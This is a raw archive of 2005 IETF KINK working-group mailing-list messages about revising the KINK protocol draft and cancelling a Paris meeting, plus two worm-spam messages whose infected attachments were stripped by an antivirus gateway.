and Ken'ichi >=20 --=-zHYY83dNBHgJCOZslKDW Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQpzP3LMsDAj/Eq++AQLTjwP/Rn70OZVrlan41ihUCsDVDE5sXDgzK0IN TqVZKHDEqGnywGXIbx8yttMCI0ivkuoIJIku1vRNiM6jH6t5Li/lPHDcpMrOHU2q 4EgIlAkfoE3Z/RaLZKwiF8zDVzJL25zfE+zUaqQqko67GQlZvikKSPDiL+Ajls9S sCdTA9Kerwo= =ICBn -----END PGP SIGNATURE----- --=-zHYY83dNBHgJCOZslKDW-- From owner-ietf-kink Thu Jun 9 18:15:49 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j5A1FncQ096473; Thu, 9 Jun 2005 18:15:49 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j5A1FnCe096472; Thu, 9 Jun 2005 18:15:49 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j5A1FlgF096449 for ; Thu, 9 Jun 2005 18:15:48 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j5A1E6bA070861 for ; Fri, 10 Jun 2005 10:14:06 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: I-D ACTION:draft-ietf-kink-kink-07.txt In-Reply-To: Your message of "Tue, 31 May 2005 13:58:04 -0700" <1117573084.31581.17.camel@thomasm-lnx.cisco.com> References: <1117573084.31581.17.camel@thomasm-lnx.cisco.com> X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050610091635V.sakane@kame.net> Date: Fri, 10 Jun 2005 09:16:35 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 10 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > GRRRRRRR, please do not spam the drafts repository > like I just did... what do you mean ? > > Is this draft complete with all of the agreed upon changes? > > Ie, is it what we're hoping to last call? If so I'll go > > through the changes and review it... no, i just modified editorial and some changed what we should. From owner-ietf-kink Tue Jul 5 09:55:44 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j65GthRY090778; Tue, 5 Jul 2005 09:55:43 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j65Gthc0090777; Tue, 5 Jul 2005 09:55:43 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cliodev.pgp.com (me@CLIODEV.IHTFP.ORG [204.107.200.20]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j65Gtfjd090770 for ; Tue, 5 Jul 2005 09:55:42 -0700 (PDT) (envelope-from warlord@MIT.EDU) Received: from cliodev.pgp.com (cliodev.pgp.com [127.0.0.1]) by cliodev.pgp.com (8.13.1/8.13.1) with ESMTP id j65GtaDp020871; Tue, 5 Jul 2005 12:55:36 -0400 Received: (from warlord@localhost) by cliodev.pgp.com (8.13.1/8.13.1/Submit) id j65GtQVg020866; Tue, 5 Jul 2005 12:55:26 -0400 X-Authentication-Warning: cliodev.pgp.com: warlord set sender to warlord@MIT.EDU using -f From: Derek Atkins To: Shoichi Sakane Cc: ietf-kink@vpnc.org, "KAMADA Ken'ichi" Subject: Re: I-D ACTION:draft-ietf-kink-kink-07.txt References: <1117573084.31581.17.camel@thomasm-lnx.cisco.com> <20050610091635V.sakane@kame.net> Date: Tue, 05 Jul 2005 12:55:26 -0400 In-Reply-To: <20050610091635V.sakane@kame.net> (Shoichi Sakane's message of "Fri, 10 Jun 2005 09:16:35 +0900") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Shoichi Sakane writes: >> > Is this draft complete with all of the agreed upon changes? >> > Ie, is it what we're hoping to last call? If so I'll go >> > through the changes and review it... > > no, i just modified editorial and some changed what we should. Okay, so which issues from Issue List #6 that are waiting for a draft revision have yet to make it into a draft? It looked like all the issues were just waiting for a new draft. Does draft #7 actually address all of those issues? If yes, then I think it's time to WGLC. If not, when should we expect a new draft with the agreed upon changes? Regardless, we should get a new issues list based on draft-07, unless you plan a draft-08 in the near future. Thanks, -derek -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Tue Jul 5 09:58:21 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j65GwLWP091370; Tue, 5 Jul 2005 09:58:21 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j65GwLTm091369; Tue, 5 Jul 2005 09:58:21 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cliodev.pgp.com (me@CLIODEV.IHTFP.ORG [204.107.200.20]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j65GwJMx091353 for ; Tue, 5 Jul 2005 09:58:20 -0700 (PDT) (envelope-from warlord@MIT.EDU) Received: from cliodev.pgp.com (cliodev.pgp.com [127.0.0.1]) by cliodev.pgp.com (8.13.1/8.13.1) with ESMTP id j65GwIuY020913 for ; Tue, 5 Jul 2005 12:58:18 -0400 Received: (from warlord@localhost) by cliodev.pgp.com (8.13.1/8.13.1/Submit) id j65GwI4B020910; Tue, 5 Jul 2005 12:58:18 -0400 X-Authentication-Warning: cliodev.pgp.com: warlord set sender to warlord@MIT.EDU using -f From: Derek Atkins To: ietf-kink@vpnc.org Subject: Meeting in Paris? Date: Tue, 05 Jul 2005 12:58:18 -0400 Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I'm not sure if we need a meeting in Paris. I'm going to request a small slot, but unless members feel a face-to-face is warranted I'll just plan to cancel the slot. If you feel we need a face-to-face to work through any open issues, please let me know ASAP. Thanks, -derek -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Tue Jul 5 18:18:16 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j661IGiG031006; Tue, 5 Jul 2005 18:18:16 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j661IGgY031005; Tue, 5 Jul 2005 18:18:16 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j661IE2N030998 for ; Tue, 5 Jul 2005 18:18:14 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 926CC5; Wed, 6 Jul 2005 10:18:12 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1mDZsA; Wed, 6 Jul 2005 10:18:12 +0900 (JST) Date: Wed, 06 Jul 2005 10:18:48 +0900 Message-ID: <20050706101848WZ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: derek@ihtfp.com, mat@cisco.com, ietf-kink@vpnc.org Subject: Re: I-D ACTION:draft-ietf-kink-kink-07.txt In-Reply-To: References: <1117573084.31581.17.camel@thomasm-lnx.cisco.com> <20050610091635V.sakane@kame.net> User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.3) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 05 Jul 2005 12:55:26 -0400, Derek Atkins wrote: > > >> > Is this draft complete with all of the agreed upon changes? > >> > Ie, is it what we're hoping to last call? If so I'll go > >> > through the changes and review it... > > > > no, i just modified editorial and some changed what we should. > > Okay, so which issues from Issue List #6 that are waiting for a draft > revision have yet to make it into a draft? It looked like all the > issues were just waiting for a new draft. Does draft #7 actually > address all of those issues? draft-07 was mainly for editorial issues. > If yes, then I think it's time to WGLC. If not, when should we expect > a new draft with the agreed upon changes? We are planning draft-08 at this Friday, which should address all issues currently listed. Current editing version (which is near -08) is available here: Best regards and thank you for your patience, -- KAMADA Ken'ichi From owner-ietf-kink Thu Jul 7 01:35:53 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j678ZrCW080247; Thu, 7 Jul 2005 01:35:53 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j678ZrIH080246; Thu, 7 Jul 2005 01:35:53 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j678ZqwQ080223 for ; Thu, 7 Jul 2005 01:35:53 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j678SHH6051727 for ; Thu, 7 Jul 2005 17:28:20 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: I-D ACTION:draft-ietf-kink-kink-07.txt In-Reply-To: Your message of "Tue, 05 Jul 2005 12:55:26 -0400" References: X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050707173537K.sakane@kame.net> Date: Thu, 07 Jul 2005 17:35:37 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 19 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, > Okay, so which issues from Issue List #6 that are waiting for a draft > revision have yet to make it into a draft? It looked like all the > issues were just waiting for a new draft. Does draft #7 actually > address all of those issues? > > If yes, then I think it's time to WGLC. If not, when should we expect > a new draft with the agreed upon changes? > > Regardless, we should get a new issues list based on draft-07, unless > you plan a draft-08 in the near future. #7 is not yet, but I am going to post the next version #8 soon (probably tomorrow or the day after tomorrow). #8 fixes all issues in the Issue List. But english grammer issues and expression issues are remained. So it is helpful to review #8 in these point of view. When they will be fixed, then I will post #9. it will be the WGLC version. From owner-ietf-kink Sat Jul 9 05:06:08 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j69C67sA061205; Sat, 9 Jul 2005 05:06:07 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j69C67C3061204; Sat, 9 Jul 2005 05:06:07 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j69C66um061189 for ; Sat, 9 Jul 2005 05:06:07 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (ZH094213.ppp.dion.ne.jp [222.3.94.213]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j69BvqH6071988 for ; Sat, 9 Jul 2005 20:57:52 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: I-D ACTION:draft-ietf-kink-kink-07.txt In-Reply-To: Your message of "Thu, 07 Jul 2005 17:35:37 +0900" <20050707173537K.sakane@kame.net> References: <20050707173537K.sakane@kame.net> X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050709210604B.sakane@kame.net> Date: Sat, 09 Jul 2005 21:06:04 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 10 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I am sorry that posting the next draft is delay due to the network trouble where there is my repository server. I will post it as soon as possible after the trouble will be solved. > #7 is not yet, but I am going to post the next version #8 soon > (probably tomorrow or the day after tomorrow). > #8 fixes all issues in the Issue List. But english grammer issues > and expression issues are remained. So it is helpful to review #8 > in these point of view. When they will be fixed, then I will post #9. > it will be the WGLC version. From owner-ietf-kink Sun Jul 10 15:50:26 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6AMoQod003386; Sun, 10 Jul 2005 15:50:26 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6AMoQEk003385; Sun, 10 Jul 2005 15:50:26 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6AMoOFq003379 for ; Sun, 10 Jul 2005 15:50:25 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (ZH094213.ppp.dion.ne.jp [222.3.94.213]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j6AMfdH6079865 for ; Mon, 11 Jul 2005 07:41:42 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: draft-ietf-kink-kink-08.txt X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050711075020J.sakane@kame.net> Date: Mon, 11 Jul 2005 07:50:20 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 17 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I posted the version 08. You can get it from http://www.taca.jp/kink/draft-ietf-kink-kink-08.txt although the i-d manager will send the copy to this mailing list. regards, > I am sorry that posting the next draft is delay due to the network > trouble where there is my repository server. > I will post it as soon as possible after the trouble will be solved. > > > #7 is not yet, but I am going to post the next version #8 soon > > (probably tomorrow or the day after tomorrow). > > #8 fixes all issues in the Issue List. But english grammer issues > > and expression issues are remained. So it is helpful to review #8 > > in these point of view. When they will be fixed, then I will post #9. > > it will be the WGLC version. > From owner-ietf-kink Mon Jul 11 15:50:03 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6BMo3Gd094983; Mon, 11 Jul 2005 15:50:03 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6BMo3qQ094981; Mon, 11 Jul 2005 15:50:03 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from newodin.ietf.org ([132.151.6.50]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6BMo2J0094975 for ; Mon, 11 Jul 2005 15:50:02 -0700 (PDT) (envelope-from mlee@newodin.ietf.org) Received: from mlee by newodin.ietf.org with local (Exim 4.43) id 1Ds76A-0008Os-4A; Mon, 11 Jul 2005 18:50:02 -0400 Content-Type: Multipart/Mixed; Boundary="NextPart" Mime-Version: 1.0 To: i-d-announce@ietf.org Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-08.txt Message-Id: Date: Mon, 11 Jul 2005 18:50:02 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : S. Sakane, et al. Filename : draft-ietf-kink-kink-08.txt Pages : 41 Date : 2005-7-11 This document describes the Kerberized Internet Negotiation of Keys (KINK) protocol. KINK defines a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol to establish and maintain security associations using the Kerberos authentication system. KINK reuses the Quick Mode payloads of the Internet Key Exchange (IKE), which should lead to substantial reuse of existing IKE implementations. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-08.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-08.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-08.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-7-11170219.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-08.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-08.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-7-11170219.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Mon Jul 11 15:53:43 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6BMrhVx095296; Mon, 11 Jul 2005 15:53:43 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6BMrh8V095295; Mon, 11 Jul 2005 15:53:43 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6BMrfJw095286 for ; Mon, 11 Jul 2005 15:53:42 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (ZH094213.ppp.dion.ne.jp [222.3.94.213]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j6BMidH6090139 for ; Tue, 12 Jul 2005 07:44:39 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: Meeting in Paris? In-Reply-To: Your message of "Tue, 05 Jul 2005 12:58:18 -0400" References: X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050712075336H.sakane@kame.net> Date: Tue, 12 Jul 2005 07:53:36 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 10 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > I'm not sure if we need a meeting in Paris. I'm going to request a > small slot, but unless members feel a face-to-face is warranted I'll > just plan to cancel the slot. > > If you feel we need a face-to-face to work through any open issues, > please let me know ASAP. I don't think that a slot is necessary. all items in the issue list are applyed to the draft 08 though the status is not updated yet. I believe that any big issue will not come out from review. From owner-ietf-kink Mon Jul 11 20:35:50 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6C3ZoGd022331; Mon, 11 Jul 2005 20:35:50 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6C3Zore022330; Mon, 11 Jul 2005 20:35:50 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from carter-zimmerman.mit.edu (carter-zimmerman.suchdamage.org [69.25.196.178]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6C3Zm3d022324 for ; Mon, 11 Jul 2005 20:35:49 -0700 (PDT) (envelope-from hartmans@mit.edu) Received: by carter-zimmerman.mit.edu (Postfix, from userid 8042) id 20B5CE0049; Mon, 11 Jul 2005 23:35:41 -0400 (EDT) To: Derek Atkins Cc: ietf-kink@vpnc.org Subject: Re: Meeting in Paris? References: From: Sam Hartman Date: Mon, 11 Jul 2005 23:35:40 -0400 In-Reply-To: (Derek Atkins's message of "Tue, 05 Jul 2005 12:58:18 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I'd like to ask you to cancel soon (tomorrow unless someone speaks up). It will make scheduling easier. I too do not believe a meeting is needed. From owner-ietf-kink Tue Jul 12 09:51:16 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6CGpFbH057137; Tue, 12 Jul 2005 09:51:15 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6CGpFBV057136; Tue, 12 Jul 2005 09:51:15 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cliodev.pgp.com (table.pgp.com [63.251.255.85] (may be forged)) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6CGpCpV057123 for ; Tue, 12 Jul 2005 09:51:12 -0700 (PDT) (envelope-from warlord@MIT.EDU) Received: from cliodev.pgp.com (cliodev.pgp.com [127.0.0.1]) by cliodev.pgp.com (8.13.1/8.13.1) with ESMTP id j6CGp2Z7017175; Tue, 12 Jul 2005 12:51:02 -0400 Received: (from warlord@localhost) by cliodev.pgp.com (8.13.1/8.13.1/Submit) id j6CGp1gl017172; Tue, 12 Jul 2005 12:51:01 -0400 X-Authentication-Warning: cliodev.pgp.com: warlord set sender to warlord@MIT.EDU using -f From: Derek Atkins To: Sam Hartman Cc: ietf-kink@vpnc.org Subject: Last chance to speak up! (was Re: Meeting in Paris?) References: Date: Tue, 12 Jul 2005 12:51:01 -0400 In-Reply-To: (Sam Hartman's message of "Mon, 11 Jul 2005 23:35:40 -0400") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Will-do. I figured it would be better to request the slot and then cancel this week than not get the slot and determine that we needed to meet. Unless someone speaks up in the next 8ish hours I will cancel the KINK meeting. -derek Sam Hartman writes: > I'd like to ask you to cancel soon (tomorrow unless someone speaks > up). It will make scheduling easier. I too do not believe a meeting > is needed. -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Wed Jul 13 02:17:56 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6D9HtdC036452; Wed, 13 Jul 2005 02:17:55 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6D9Htkh036451; Wed, 13 Jul 2005 02:17:55 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from pc-p1-informatica.com (69.Red-213-97-128.pooles.rima-tde.net [213.97.128.69]) by above.proper.com (8.12.11/8.12.9) with SMTP id j6D9Hsaa036382 for ; Wed, 13 Jul 2005 02:17:55 -0700 (PDT) (envelope-from jtrostle@cisco.com) Date: Wed, 13 Jul 2005 10:17:02 +0000 To: "Ietf-kink" From: "Jtrostle" Subject: Re: Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------stfjumnakdljzjbroobg" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ----------stfjumnakdljzjbroobg Content-Type: text/plain; charset="UTF-8"; format="flowed" +----------------------------------------------------+ Panda GateDefender has detected malicious content (Virus) in the following file: [MP3.cpl] W32/Bagle.AH.worm The file has been deleted to protect the network. 07/13/2005 09:11 +0100 www.pandasoftware.com +----------------------------------------------------+ ----------stfjumnakdljzjbroobg Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit >Lovely animals


----------stfjumnakdljzjbroobg-- From owner-ietf-kink Thu Jul 14 01:45:52 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6E8jqiD024943; Thu, 14 Jul 2005 01:45:52 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6E8jq8j024941; Thu, 14 Jul 2005 01:45:52 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from pc-p1-informatica.net (69.Red-213-97-128.pooles.rima-tde.net [213.97.128.69]) by above.proper.com (8.12.11/8.12.9) with SMTP id j6E8joaM024875 for ; Thu, 14 Jul 2005 01:45:51 -0700 (PDT) (envelope-from jtrostle@cisco.com) Date: Thu, 14 Jul 2005 09:44:58 +0000 To: "Ietf-kink" From: "Jtrostle" Subject: Re: Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------xuwtepenqpjeuoswmzha" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ----------xuwtepenqpjeuoswmzha Content-Type: text/plain; charset="UTF-8"; format="flowed" +----------------------------------------------------+ Panda GateDefender has detected malicious content (Virus) in the following file: [Doll.cpl] W32/Bagle.AH.worm The file has been deleted to protect the network. 07/14/2005 08:39 +0100 www.pandasoftware.com +----------------------------------------------------+ ----------xuwtepenqpjeuoswmzha Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit >fotogalary and Music


----------xuwtepenqpjeuoswmzha-- From owner-ietf-kink Fri Jul 15 00:09:43 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6F79h7A082533; Fri, 15 Jul 2005 00:09:43 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6F79hW4082532; Fri, 15 Jul 2005 00:09:43 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6F79fk0082513 for ; Fri, 15 Jul 2005 00:09:42 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j6F6xYH6026137 for ; Fri, 15 Jul 2005 15:59:34 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: draft-ietf-kink-kink-08.txt In-Reply-To: Your message of "Mon, 11 Jul 2005 07:50:20 +0900" <20050711075020J.sakane@kame.net> References: <20050711075020J.sakane@kame.net> X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: 